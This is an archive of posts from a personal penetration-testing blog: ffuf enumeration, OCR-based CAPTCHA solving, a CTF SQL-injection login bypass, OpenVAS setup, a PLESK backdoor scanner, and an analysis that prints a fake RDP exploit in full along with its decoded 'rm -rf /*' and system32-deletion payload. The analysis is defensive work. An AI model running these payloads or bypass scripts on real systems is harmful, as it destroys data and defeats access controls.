0entropy

Late to the party, or, in other words massive web enumeration using ffuf.

2020-05-19T20:13:00.000+03:00

Few days back I had the opportunity to take part in a challenge event, which I went last minute and unprepared.

There are few good reason to the last minute and not being prepared, mainly because I was invited late on the event and I had to prepare my environment as well, when others had their tools ready.

So I was late in the party. As most of the events for me, can only take place after working hours, I had to be quick in order to catch up with the others.

The event, roughly 500 hosts in different networks (results from nmap scan were provided) non sequential and in different networks waiting to be scanned.

On the last months my favorite tool for web enumeration had been ffuf, https://github.com/ffuf/ffuf, but even with that alone I couldn't catch up easily on the others.

Web dirbuster tool comparison

Some stats first on ffuf and comparison with other tools used in web 'dir-busting'

I'll be using http://testphp.vulnweb.com/ for the tests and default as much as possible, parameters on each tool.

dirb, time 5.43 minutes.

Image 1. dirb

gobuster time 8.8 seconds

Image 2. gobuster

wfuzz time 28.2 seconds

Image 3. wfuzz

fuff time 8.7 seconds

Image 4. ffuf

Turbo intruder time 13.3 seconds.

Image 4. Turbo intruder

Brief comparison, lower is better:

Image 5. Brief comparison

So if you are not using ffuf, or turbo intruder ( I will explain later in another post as to why ) I'll advise to give them a try.

Back to the methodology.

As mentioned above the data set was large and I was late. So this was my methodology to gain some advantage in time.

1. Enumeration of all common ports using aquatone, eg:

cat hosts | aquatone -ports large -out aquatone

2. Use gnu parallel to feed ffuf workers with the urls from aqutatone, verified working, using:

cat aquatone/aquatone_urls.txt | parallel -j 50 -I{} ffuf -w /usr/share/dirb/common.txt:FUZZ -u {}FUZZ -o {#}_results.html -mc 200,403 -sf -fs 0 -of html

Aquatone is taking roughly 6 minutes for 100 hosts and it will clean up ports that are not responding.

Image 6. Aquatone results.

Ffuf was able to produce results on the first few minutes which where easy to be analysed.

The parameters on the filtering at ffuf may vary during the stage of the analysis that you are. I will recommend to have at least 403 and 301 with the 200 (OK, found) so you can see what is denied and what is redirected initially.

Having in mind that I was aiming for speed mainly and not for quality at this phase. I was able to get a good understanding on the targets and their setup in short time.

Following post will be on turbo intruder and what makes a difference on this scanner.

Solving CAPTCHA using Burp suite proxy and mitmproxy.

2020-03-24T16:42:00.000+02:00

Few days back I was facing an issue in one of my tests. The web application was logging my session off every few minutes and also it was logging me out in case of an exception, as a request that Burp was sending and couldn't be handled.

Initial idea was to go and instruct Burp proxy to use macro and re-authenticate the session but the application was using an additional captcha challenge that had to be solved.

Overall there were 2 issues to overcome:

Keep the session authenticated through Burp's proxy scan (automated and manual)
Find a way to solve the captcha.

For these items went ahead with the following setup, Burp proxy -> mitmproxy -> Website.

Burp proxy is configured to use an upstream proxy and pass all requests through there as shown in the image below:

Burp itself is listening on port 8082 and I'm using firefox with FoxyProxy pointing to it.

Mitmproxy's script is very simple and essentially is handling this pattern that exist during the login phase.

Script is running with mitmproxy -s mitm.py

The script it self can be something as the one below:

"""
This example shows how to parse a call and execute an external script
which will re-authorize the user on the web application.
"""

from mitmproxy import http
import subprocess

def response(flow: http.HTTPFlow) -> None:
# Redirect is issued on the response, this is only used in the application for sending back the user to /logout. Match the response and call script.
if (flow.response.status_code == 302):
subprocess.call("python3 ./imagedecode.py", shell=True)
def request(flow: http.HTTPFlow) -> None:
if flow.request.pretty_url.startswith("domain.com/user/index/login"):
response()

The script 'imagedecode.py' is a script which is using tesseract OCR to process the captcha values and submit them to the website together with the login credentials.

The captcha images are simple as the ones below in the specific setup:

The script itself:

from PIL import Image
import subprocess
import requests
import cv2

# I need to define a static cookie as it's used for verification on the captcha
# this cookie is set as valid if you pass the auth

cookies = { "PHPSESSID": "8jadummyecookiefu12erm1923a;" }
url = 'https://domain.com/UiUser/secure?sid=0.6974342321354128'

r = requests.get(url, cookies=cookies)
with open('im.png', 'wb') as f:
f.write(r.content)
# Tesseract to the rescue
try:
r = subprocess.check_output(["tesseract", "im.png", "-", "--psm", "13", "--dpi", "70"]).decode('utf8').strip()
# Got the captcha we need to authorize the same session that was used
params = {"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
datapost = "login-email=user%40domain.com&login-pwd=mypasswordhere%3D%3D&login-yanzheng="+r+"&memory=false"
r2 = requests.post( "https://domain.com/user/index/verify", headers=params, data=datapost, cookies= cookies, timeout=35)
except:
print("Couldn't get captcha")

There are some things that could be optimised on the script as checking proper return code of the request and re-issue in case is not successful the login, but overall it has a rough 90-95% accuracy.

Using Burp Intruder for auth bypass - CTF, root-me.org / BSCorp - Linux

2020-03-12T16:20:00.000+02:00

This is a small post on using Burp's Intruder to bypass login authentication.

The idea for this post is from a CTF challenge on root-me.org.

I will not be sharing information about how one will reach on this state as I wouldn't like to spoil the fun on it.

The initial page that the user will see after proceeding in the challenge will be the following:

With no apparent information about the login, trying with 'abc' as username and password will give the following result:

It's clear that there is some filtering implemented that are blocking some characters.

The first thing is to identify which characters are allowed. This can be done on Burp using intruder.

Intercept your login request and pass it to intruder as shown below:

On the intruder tab select sub-tab 'Positions' and clear all selections. Select the 'abc' value on the log= and add it as payload position.

Browse to the sub tab, select Payload set 1, Payload type 'List' and populate the list with. Simply use a notepad and input all possible characters one by one. I used a notepad and copy paste the entries on Burp.

Start the attack and observe the results.

As you can see above some requests are passing and some are giving an error message' Bad characters detected'

The next step will be to exclude these bad characters and keep the valid ones. One can choose to select all remaining characters or limit the set to specific ones.

References: https://pentestlab.blog/2012/12/24/sql-injection-authentication-bypass-cheat-sheet/, http://www.lifeoverpentest.com/2018/03/sql-injection-login-bypass-cheat-sheet.html .

From the links above the set of 19 characters could be reduced to 6, which are the followings, "# ( | ' / 1" . The rest characters that are valid as possible entries have no value to as for a potential auth bypass.

To create an iteration of these values in the intruder, change the payload type to 'Custom iterator' and paste the values.

As we don't know how many characters will be needed for the attack we can start with 2 positions and increase them adding the same values to each position.

Start the attack and check on the output. If you don't see it successful, try adjusting the Position count by increasing it and repeating the values.

In these case you are creating random values with all 6 characters which are used as attack patterns.

For our attack on the specific environment a value of length 5 was the one that was successful.

This can be seen on intruder on the following way:

The login request that is created with payload '||1# is giving a 302 redirect.

Trying the value on the web page itself,

Will allow us to bypass authentication and login on the portal.

Identifying fake shellcode - quick guide

2013-07-30T10:59:00.000+03:00

Identifying the fakes

Yesterday I notice one exploit for Microsoft Remote Desktop, with the name "Microsoft Remote Desktop User/Password Reader Exploit" (http://cxsecurity.com/issue/WLB-2013070218).

Even looking at the title this should bring a warning but as I was in a hurry I made a tweet about it adding a warning that this was not tested for validity.

It's always good before testing the exploits even if this is going to be done in a VM or generally easy restored environment to have a look at the code and even if one is not a experienced coder or exploit developer, can easily spot alarming things.

Let's have a look on the exploit mentioned.

Note 1:
The title of the exploit doesn't seem to make sense as MS12-020 is not related to any "User/Password Reader" MS12-020 is based on a use-after-free vulnerability located in the handling of the maxChannelIds field of the T.125 ConnectMCSPDU packed when set to a value equal or less than 5.
(http://www.exploit-db.com/exploits/18606/)

Note 2:
Looking at the code, there are 2 parts where a shellcode can be identified.

Section 1

xscholler = "\x58\x6c\x64\x47\x6a\x74\x30\x5a\x67\x43\x67\x79\x6f\x39\x46\xf1"
xscholler += "\x66\x70\x66\x61\x43\x52\x46\x71\x78\x30\x33\x55\x62\x63\x58\x63"
xscholler += "\x47\x34\x33\x65\x62\x41\x4f\x30\x54\x39\x6f\x4a\x70\x52\x48\x5a"
xscholler += "\x6b\x38\x6d\x6b\x4c\x75\x6b\x30\x50\x6b\x4f\x6e\x36\x53\x6f\x6f"
xscholler += "\x79\x4a\x45\x32\x46\x6f\x71\x6a\x4d\x34\x48\x77\x72\x73\x65\x73"
xscholler += "\x5a\x37\x72\x69\x6f\x58\x50\x52\x48\x4e\x39\x76\x69\x4a\x55\x4c"
xscholler += "\x6d\x32\x77\x69\x6f\x59\x46\x50\x53\x43\x63\x41\x43\x70\x53\x70"
xscholler += "\x53\x43\x73\x50\x53\x62\x63\x70\x53\x79\x6f\x6a\x70\x35\x36\x61"
xscholler += "\x78\x71\x32\x78\x38\x71\x76\x30\x53\x4b\x39\x69\x71\x4d\x45\x33"
xscholler += "\x58\x6c\x64\x47\x6a\x74\x30\x5a\x67\x43\x67\x79\x6f\x39\x46\x32"
xscholler += "\x4a\x56\x70\x66\x31\x76\x35\x59\x6f\x58\x50\x32\x48\x4d\x74\x4e"
xscholler += "\x4d\x66\x4e\x7a\x49\x50\x57\x6b\x4f\x6e\x36\x46\x33\x56\x35\x39"
xscholler += "\x73\x55\x38\x4d\x37\x71\x69\x69\x56\x71\x69\x61\x47\x6b\x4f\x6e"
xscholler += "\x36\x36\x35\x79\x6f\x6a\x70\x55\x36\x31\x7a\x71\x74\x32\x46\x51"
xscholler += "\x78\x52\x43\x70\x6d\x4f\x79\x4d\x35\x72\x4a\x66\x30\x42\x79\x64"
xscholler += "\x69\x7a\x6c\x4b\x39\x48\x67\x62\x4a\x57\x34\x4f\x79\x6d\x32\x37"
xscholler += "\x41" * 39
xscholler += "\x42\x44\x6c\x4c\x53\x6e\x6d\x31\x6a\x64\x78\x4c\x6b\x4e\x4b\x4e"
xscholler += "\x4b\x43\x58\x70\x72\x69\x6e\x6d\x63\x37\x66\x79\x6f\x63\x45\x73"
xscholler += "\x74\x4b\x4f\x7a\x76\x63\x6b\x31\x47\x72\x72\x41\x41\x50\x51\x61"
xscholler += "\x41\x70\x6a\x63\x31\x41\x41\x46\x31\x71\x45\x51\x41\x4b\x4f\x78"
xscholler += "\x50\x52\x48\x4c\x6d\x79\x49\x54\x45\x38\x4e\x53\x63\x6b\x4f\x6e"
xscholler += "\x36\x30\x6a\x49\x6f\x6b\x4f\x70\x37\x4b\x4f\x4e\x30\x4e\x6b\x30"
xscholler += "\x57\x69\x6c\x6b\x33\x4b\x74\x62\x44\x79\x6f\x6b\x66\x66\x32\x6b"
xscholler += "\x4f\x4e\x30\x53\x58\x58\x70\x4e\x6a\x55\x54\x41\x4f\x52\x73\x4b"
xscholler += "\x4b\x43\x58\x70\x72\x69\x6e\x6d\x63\x37\x66\x00"

Section 2

#bindshell PORT 8888
shellcode = "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73"
shellcode += "\x74\x65\x6d\x28\x27\x64\x65\x6c\x20\x2f\x73\x20\x2f\x71\x20\x2f\x66\x20\x43\x3a"
shellcode += "\x5c\x77\x69\x6e\x64\x6f\x77\x73\x5c\x73\x79\x73\x74\x65\x6d\x33\x32\x5c\x2a\x20"
shellcode += "\x3e\x20\x4e\x55\x4c\x20\x32\x3e\x26\x31\x27\x29\x20\x69\x66\x20\x27\x57\x69\x6e"
shellcode += "\x27\x20\x69\x6e\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x70\x6c\x61"
shellcode += "\x74\x66\x6f\x72\x6d\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x29\x20\x65\x6c\x73"
shellcode += "\x65\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73"
shellcode += "\x79\x73\x74\x65\x6d\x28\x27\x72\x6d\x20\x2d\x72\x66\x20\x2f\x2a\x20\x3e\x20\x2f"
shellcode += "\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x32\x3e\x26\x31\x27\x29\x20\x23\x68\x69\x20"
shellcode += "\x74\x68\x65\x72\x65\x20\x5e\x5f\x7e\x20\x66\x65\x65\x6c\x20\x66\x72\x65\x65\x20"
shellcode += "\x74\x6f\x20\x73\x70\x72\x65\x61\x64\x20\x74\x68\x69\x73\x20\x77\x69\x74\x68\x20"
shellcode += "\x74\x68\x65\x20\x72\x6d\x20\x2d\x72\x66\x20\x72\x65\x70\x6c\x61\x63\x65\x64\x20"
shellcode += "\x77\x69\x74\x68\x20\x73\x6f\x6d\x65\x74\x68\x69\x6e\x67\x20\x6d\x6f\x72\x65\x20"
shellcode += "\x69\x6e\x73\x69\x64\x69\x6f\x75\x73"

The value of the code under the 'xscholler' section 1, can be converted to assembly by using ConvertShellcode http://zeltser.com/reverse-malware/ConvertShellcode.zip but before proceeding to something advance, let's have a look on the part of section 2.

An easy method to briefly check what's under there is by reading the values of the hex. echo command under linux can help us to do that.

eg:

echo -e "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73"
echo -e "\x74\x65\x6d\x28\x27\x64\x65\x6c\x20\x2f\x73\x20\x2f\x71\x20\x2f\x66\x20\x43\x3a"
echo -e "\x5c\x77\x69\x6e\x64\x6f\x77\x73\x5c\x73\x79\x73\x74\x65\x6d\x33\x32\x5c\x2a\x20"
echo -e "\x3e\x20\x4e\x55\x4c\x20\x32\x3e\x26\x31\x27\x29\x20\x69\x66\x20\x27\x57\x69\x6e"
echo -e "\x27\x20\x69\x6e\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x70\x6c\x61"
echo -e "\x74\x66\x6f\x72\x6d\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x29\x20\x65\x6c\x73"
echo -e "\x65\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73"
echo -e "\x79\x73\x74\x65\x6d\x28\x27\x72\x6d\x20\x2d\x72\x66\x20\x2f\x2a\x20\x3e\x20\x2f"
echo -e "\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x32\x3e\x26\x31\x27\x29\x20\x23\x68\x69\x20"
echo -e "\x74\x68\x65\x72\x65\x20\x5e\x5f\x7e\x20\x66\x65\x65\x6c\x20\x66\x72\x65\x65\x20"
echo -e "\x74\x6f\x20\x73\x70\x72\x65\x61\x64\x20\x74\x68\x69\x73\x20\x77\x69\x74\x68\x20"
echo -e "\x74\x68\x65\x20\x72\x6d\x20\x2d\x72\x66\x20\x72\x65\x70\x6c\x61\x63\x65\x64\x20"
echo -e "\x77\x69\x74\x68\x20\x73\x6f\x6d\x65\x74\x68\x69\x6e\x67\x20\x6d\x6f\x72\x65\x20"
echo -e "\x69\x6e\x73\x69\x64\x69\x6f\x75\x73"

Will produce the following results:

__import__('os').system('del /s /q /f C:\windows\system32\* > NUL 2>&1') if 'Win' in __import__('platform').system() else __import__('os').system('rm -rf /* > /dev/null 2>&1') #hi there ^_~ feel free to spread this with the rm -rf replaced with something more insidious

So this is just another fake exploit that will try to identify the system and execute a deletion.

Below is the code of this fake, please don't use it

#!/usr/bin/env python
# greating n4sss and foreach my friends and luk3r-C
# xsdev@outlook.com
# rdpxs.py
# MS12-020 RDP, remote exploit code execution
# on all patch machines, XP to 7
# testado nas versoes windows 7 xp e vista com patch.
#
# Author: xscholler

import struct
import socket
import sys
import os

xscholler = "\x58\x6c\x64\x47\x6a\x74\x30\x5a\x67\x43\x67\x79\x6f\x39\x46\xf1"
xscholler += "\x66\x70\x66\x61\x43\x52\x46\x71\x78\x30\x33\x55\x62\x63\x58\x63"
xscholler += "\x47\x34\x33\x65\x62\x41\x4f\x30\x54\x39\x6f\x4a\x70\x52\x48\x5a"
xscholler += "\x6b\x38\x6d\x6b\x4c\x75\x6b\x30\x50\x6b\x4f\x6e\x36\x53\x6f\x6f"
xscholler += "\x79\x4a\x45\x32\x46\x6f\x71\x6a\x4d\x34\x48\x77\x72\x73\x65\x73"
xscholler += "\x5a\x37\x72\x69\x6f\x58\x50\x52\x48\x4e\x39\x76\x69\x4a\x55\x4c"
xscholler += "\x6d\x32\x77\x69\x6f\x59\x46\x50\x53\x43\x63\x41\x43\x70\x53\x70"
xscholler += "\x53\x43\x73\x50\x53\x62\x63\x70\x53\x79\x6f\x6a\x70\x35\x36\x61"
xscholler += "\x78\x71\x32\x78\x38\x71\x76\x30\x53\x4b\x39\x69\x71\x4d\x45\x33"
xscholler += "\x58\x6c\x64\x47\x6a\x74\x30\x5a\x67\x43\x67\x79\x6f\x39\x46\x32"
xscholler += "\x4a\x56\x70\x66\x31\x76\x35\x59\x6f\x58\x50\x32\x48\x4d\x74\x4e"
xscholler += "\x4d\x66\x4e\x7a\x49\x50\x57\x6b\x4f\x6e\x36\x46\x33\x56\x35\x39"
xscholler += "\x73\x55\x38\x4d\x37\x71\x69\x69\x56\x71\x69\x61\x47\x6b\x4f\x6e"
xscholler += "\x36\x36\x35\x79\x6f\x6a\x70\x55\x36\x31\x7a\x71\x74\x32\x46\x51"
xscholler += "\x78\x52\x43\x70\x6d\x4f\x79\x4d\x35\x72\x4a\x66\x30\x42\x79\x64"
xscholler += "\x69\x7a\x6c\x4b\x39\x48\x67\x62\x4a\x57\x34\x4f\x79\x6d\x32\x37"
xscholler += "\x41" * 39
xscholler += "\x42\x44\x6c\x4c\x53\x6e\x6d\x31\x6a\x64\x78\x4c\x6b\x4e\x4b\x4e"
xscholler += "\x4b\x43\x58\x70\x72\x69\x6e\x6d\x63\x37\x66\x79\x6f\x63\x45\x73"
xscholler += "\x74\x4b\x4f\x7a\x76\x63\x6b\x31\x47\x72\x72\x41\x41\x50\x51\x61"
xscholler += "\x41\x70\x6a\x63\x31\x41\x41\x46\x31\x71\x45\x51\x41\x4b\x4f\x78"
xscholler += "\x50\x52\x48\x4c\x6d\x79\x49\x54\x45\x38\x4e\x53\x63\x6b\x4f\x6e"
xscholler += "\x36\x30\x6a\x49\x6f\x6b\x4f\x70\x37\x4b\x4f\x4e\x30\x4e\x6b\x30"
xscholler += "\x57\x69\x6c\x6b\x33\x4b\x74\x62\x44\x79\x6f\x6b\x66\x66\x32\x6b"
xscholler += "\x4f\x4e\x30\x53\x58\x58\x70\x4e\x6a\x55\x54\x41\x4f\x52\x73\x4b"
xscholler += "\x4b\x43\x58\x70\x72\x69\x6e\x6d\x63\x37\x66\x00"

argument = "\x90" * 214

#bindshell PORT 8888
shellcode = "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73"
shellcode += "\x74\x65\x6d\x28\x27\x64\x65\x6c\x20\x2f\x73\x20\x2f\x71\x20\x2f\x66\x20\x43\x3a"
shellcode += "\x5c\x77\x69\x6e\x64\x6f\x77\x73\x5c\x73\x79\x73\x74\x65\x6d\x33\x32\x5c\x2a\x20"
shellcode += "\x3e\x20\x4e\x55\x4c\x20\x32\x3e\x26\x31\x27\x29\x20\x69\x66\x20\x27\x57\x69\x6e"
shellcode += "\x27\x20\x69\x6e\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x70\x6c\x61"
shellcode += "\x74\x66\x6f\x72\x6d\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x29\x20\x65\x6c\x73"
shellcode += "\x65\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73"
shellcode += "\x79\x73\x74\x65\x6d\x28\x27\x72\x6d\x20\x2d\x72\x66\x20\x2f\x2a\x20\x3e\x20\x2f"
shellcode += "\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x32\x3e\x26\x31\x27\x29\x20\x23\x68\x69\x20"
shellcode += "\x74\x68\x65\x72\x65\x20\x5e\x5f\x7e\x20\x66\x65\x65\x6c\x20\x66\x72\x65\x65\x20"
shellcode += "\x74\x6f\x20\x73\x70\x72\x65\x61\x64\x20\x74\x68\x69\x73\x20\x77\x69\x74\x68\x20"
shellcode += "\x74\x68\x65\x20\x72\x6d\x20\x2d\x72\x66\x20\x72\x65\x70\x6c\x61\x63\x65\x64\x20"
shellcode += "\x77\x69\x74\x68\x20\x73\x6f\x6d\x65\x74\x68\x69\x6e\x67\x20\x6d\x6f\x72\x65\x20"
shellcode += "\x69\x6e\x73\x69\x64\x69\x6f\x75\x73"

xst = xscholler + argument

class RDPsocket(socket.socket):
def __init__(self, payload, shellcode):
super(RDPsocket, self).__init__(socket.AF_INET, socket.SOCK_STREAM)
self.payload = payload
self.table = __imPORT__("__builtin__").__dict__ #
self.shellcode = shellcode

def parse(self, address, shellcode):
fucker = (struct.pack(">I", 0x6576616c),
socket.inet_aton(address[0]), #IP bytes
socket.inet_aton(str(address[1]))) #PORT bytes
linha = struct.pack(">I", 0x8fe2fb63) #pop eax
linha += struct.pack(">I", 0x8fe2fb58) #push esp
linha += struct.pack(">I", 0xffff1d6b) #add esp,byte +0x1c # pop ebp # ret
linha += struct.pack(">I", 0x8fe2db10) #call strcpy
linha += struct.pack(">I", 0x8fe2dfd1) #POP - POP - RET over strcpy params
linha += struct.pack(">I", 0x8fe2dae4) #mov ecx,[esp+0x4] # add eax,edx # sub eax,ecx # ret
linha += struct.pack(">I", 0x8fe2b3d4) #POP - RET
linha += struct.pack(">I", 0xffffffff) #value to store in ecx
linha += struct.pack(">I", 0x8fe0c0c7) #inc ecx # xor al,0xc9
linha += struct.pack(">I", 0x8fe0c0c7) #inc ecx # xor al,0xc9
linha += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
linha += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
linha += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
linha += fucker[0] #add the prelude
linha += fucker[1] #add the packed IP address
linha += fucker[2] #add the packed PORT
linha += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
linha += struct.pack(">I", 0x8fe2c71d) #mov eax,edx # ret
linha += struct.pack(">I", 0x8fe2def4) #add eax,ecx # ret
linha += struct.pack(">I", 0x8fe0e32d) #xchg eax,edx
linha += struct.pack(">I", 0x8fe0c0c7) #inc ecx # xor al,0xc9
linha += struct.pack(">I", 0x8fe0c0c7) #inc ecx # xor al,0xc9
linha += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
linha += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
linha += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
linha += struct.pack(">I", 0x8fe2def4) #add eax,ecx # ret # swap back
linha += struct.pack(">I", 0x8fe0e32d) #xchg eax,edx # copy parameter to placeholder
linha += struct.pack(">I", 0x8fe2fb61) #mov [eax],edx # pop eax # ret # set our stack pointer back
to original value
linha += struct.pack(">I", 0x8fe0e32d) #xchg eax,edx
linha += struct.pack(">I", 0x8fe2daea) #sub eax,ecx # ret
linha += struct.pack(">I", 0x8fe0b1c2) #xchg eax,ebp # inc ebp # ret
linha += struct.pack(">I", 0x8fe2b6a5) #dec ebp # ret
linha += struct.pack(">I", 0xffff01f3) #mov esp,ebp # pop ebp # ret
read = self.table[fucker[0]] #reader for the linha shellcode/data

return str(read(shellcode)), linha

def connect(self, address):
self.linha_shell = self.parse(address, shellcode)
super(RDPsocket, self).connect(address)

def xst_sendall(self):
super(RDPsocket, self).sendall(evil + self.linha_shell[0] + self.linha_shell[1])

if __name__ == "__main__":
if len(sys.argv) != 2:
print "[*] Usage: python rdpxs.py IP"

else:
ALVO = sys.argv[1]
PORT = 3389 #default RDP PORT

print "[*] Rodando rdpxs"
print
s = RDPsocket(xst, shellcode)
print "[+] Conectando e configurando payload. . ."
print "[+] isso pode levar alguns minutos..."
s.connect((ALVO, PORT))
print "[+] Conexao estabelecida"
print "[+] Enviando payload. . ."
s.xst_sendall()
response = s.recv(4096)
if "\xA5\x43\xE7\x38\x75\x84\xF2\xFF\xFF\x18\x61\x00" in response:
print "[+] Bem Succedido! Payload enviado e executado com sucesso!."
print "[+] Telnet ALVO na PORT 8888."
else:
print "[-] Failed"
s.close()

Openvas quick installation on Backtrack linux

2013-03-27T10:43:00.001+02:00

It’s been some time since I wrote something in this blog, work and contributing in other sites took most of my time, but still this is my personal blog. I find it easier to write something in here and go back to look for it when needed than keeping documents around.

I mostly have Nessus on my disposal but sometimes there is a requirement to perform a security audit using opensource tools, and what is the best alternative to Nessus if not Openvas.

Openvas files are included in the backtrack Linux (BT5 R3). I’m sure you can find lengthy setup guides for it, but this is not one of them, on the contrary I’m trying to make things in a copy paste form for easy setup in less than couple of minutes.

Assuming that you already have a working backtrack installation you can issue the following commands to setup Openvas.

openvas-mkcert #you can press ender here for all
openvasad -c 'add_user' -n admin -r Admin #add your password here
openvas-mkcert-client -n om –i

openvas-nvt-sync #this will take some time
openvassd #again here the plugins will be loaded it would take a while

openvasmd –rebuild

openvasmd -p 9390 -a 127.0.0.1
openvasad -a 127.0.0.1 -p 9393
gsad --http-only --listen=YOUR_IP -p 9392 #don’t forget to add your ip address here

After that, you can access your Openvas installation at http://Your_IP:9392

Don’t forget to issue,

apt-get install texlive-latex-extra

on the system in order to be able to generate pdf reports from the web interface.

Some rules of thumb, Openvas takes a lot of CPU time and memory, if you are planning on scanning several C classes and you are having a virtual machine for your installation, use more than 4 VCPUs and around 4Gb of Ram. Generally the more the merrier. Finally a normal scan will take about 1 hour for every C class to be completed.

3.094 Hacked PLESK servers, more than 15.000 domains and this is just 3%

2012-08-18T23:20:00.001+03:00

I wrote again about the infected PLESK systems, Brian Krebs wrote about the topic some time later in the year (http://krebsonsecurity.com/2012/07/plesk-0day-for-sale-as-thousands-of-sites-hacked/) but until now I didn’t see any post on the actual infected servers.

I took some time during the holidays to fix my http-plesk-backdoor.nse script and make a more wide search for infected and still compromised PLESK installations. The work is still in progress and the stats below are rough stats.

There are 256 A class networks , 0.0.0.0/8 to 255.0.0.0/8 , each block has a possible of 16.777.216 addresses, not everything is in use from the /8 networks and many are reserved ( more at http://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.xml ). I started my search results from the European networks, allocated in RIPE NCC and I will move to ARIN (USA based networks) and then to the rest.

How long does it take to scan an entire A class, is totally based on your ISP tolerance and the connectivity that your server has to the internet. Scanning an European range from a server that is outside the EU network will take more time but nothing extreme estimate a total added time of 20-30 minutes in one scan. My scans took around 10 hours to complete for each A class ( for 16.777.216 addresses ), with the script execution time combined.

Initially I thought that the script execution will take a huge amount of time comparing to the scanning results of nmap, but the scripting engine is doing a great job on the nse scripts, and the time added is roughly one extra hour when the script is used.

Results so far:

6 European based networks scanned (100.663.296 addresses), 91.970 systems with the port 8443 open (not all of them are PLESK servers).

Compromised / Infected PLESK systems: 3.094

Number of domains on the hacked above servers: 15.979

The number of domains is an estimation based on the ‘feature’ that many PLESK installations provide allowing a reverse DNS lookup on the server IP, that will return all the domains that are currently hosted in that server.

If you need details on the networks and the hosts that are found infected please contact via email with a valid reason.

Nmap script to check PLESK compromised servers

2012-05-09T14:30:00.001+03:00

Few days back I wrote about the PLESK compromised servers in www.my-audit.gr, at that time I made a script to perform manual checks for our clients in our IP ranges. The script was slow and it was taking a lot of time to produce actual results at first, then I remembered about nmap scripting language (NSE). I had never used it before but it seems rather easy to make a simple script, so after a couple of minutes I came up with the following script:

description = [[
Looks for signature of PLESK servers that were compromised earlier in 2012.
  
The script checks the existence of enterprise/control/psa/engine.php and 
/enterprise/control/ctrl.php3 files that are not part of plesk distribution. 
The files were added in most servers during the first 3 months of 2012 
after a global scale attack on PLESK hosting servers. 
More at: http://www.my-audit.gr/hacking/plesk-backdoors-a-very-large-number-of-servers-compromised/ ,
http://forum.parallels.com/showthread.php?t=258101 and 
http://0entropy.blogspot.com/2012_03_01_archive.html
]]
  
---
-- the result will be something like the following
-- Interesting ports on somehost.someserver.com (xxx.xxx.193.64):
-- PORT     STATE SERVICE
-- 8443/tcp open  https-alt
-- |_ http-plesk-backdoor: PLESK infected v2, please check: http://www.my-audit.gr/hacking/plesk-backdoors-a-very-large-number-of-servers-compromised/
---
  
author = "Nicolas Krassas"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"malware","discovery","safe"}
  
require "http"
require "shortport"
require "stdnse"
  
-- This script will check on port 8443 only
portrule = function(host, port)
    local svc = { std = { ["https-alt"] = 1 } }
    if port.protocol ~= 'tcp' or not svc.std[port.service] then
        return false
    end
    return true
end
  
-- Execute the check 
action = function(host, port)
  
        -- Perform a GET request for v2 backdoor, this is the most common currently.
        result = http.get_url("https://" .. host.ip .. ":" .. port.number .. "/enterprise/control/psa/engine.php")
  
        if(not(result)) then
                return stdnse.format_output(false, "Couldn't perform GET request")
        end
  
        if(result.status == 200) then
                string = ("PLESK infected v2, please check: http://www.my-audit.gr/hacking/plesk-backdoors-a-very-large-number-of-servers-compromised/");
                return string
        end
  
        -- Perform a GET request for v1 backdoor
        result = http.get_url("https://" .. host.ip .. ":" .. port.number .. "/enterprise/control/ctrl.php3")
  
        if(not(result)) then
                return stdnse.format_output(false, "Couldn't perform GET request")
        end
  
        if(result.status == 200) then
                string = ("PLESK infected v1, please check: http://www.my-audit.gr/hacking/plesk-backdoors-a-very-large-number-of-servers-compromised/");
                return string
        end
end

a sample output from the script,

root@host:~# nmap --script http-plesk-backdoor xxx.xxx.xxx.xxx

Starting Nmap 5.00 ( http://nmap.org ) at 2012-05-09 14:20 EEST
Interesting ports on someserver.com (xxx.xxx.xxx.xxx):
Not shown: 979 closed ports
PORT     STATE    SERVICE
21/tcp   open     ftp
22/tcp   open     ssh
25/tcp   open     smtp
53/tcp   open     domain
80/tcp   open     http
106/tcp open     pop3pw
110/tcp open     pop3
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
143/tcp open     imap
443/tcp open     https
445/tcp filtered microsoft-ds
465/tcp open     smtps
587/tcp open     submission
646/tcp filtered ldp
993/tcp open     imaps
995/tcp open     pop3s
1025/tcp filtered NFS-or-IIS
2000/tcp filtered callbook
3306/tcp open     mysql
8443/tcp open     https-alt
|_ http-plesk-backdoor: PLESK infected v1, please check: http://www.my-audit.gr/hacking/plesk-backdoors-a-very-large-number-of-servers-compromised/

Nmap done: 1 IP address (1 host up) scanned in 2.98 seconds

and scanning a larger range,

root@host:~# nmap --script http-plesk-backdoor xxx.xxx.193.0/24 -p 8443
--snip--
Interesting ports on srv1.someserver.com (xxx.xxx.193.61):
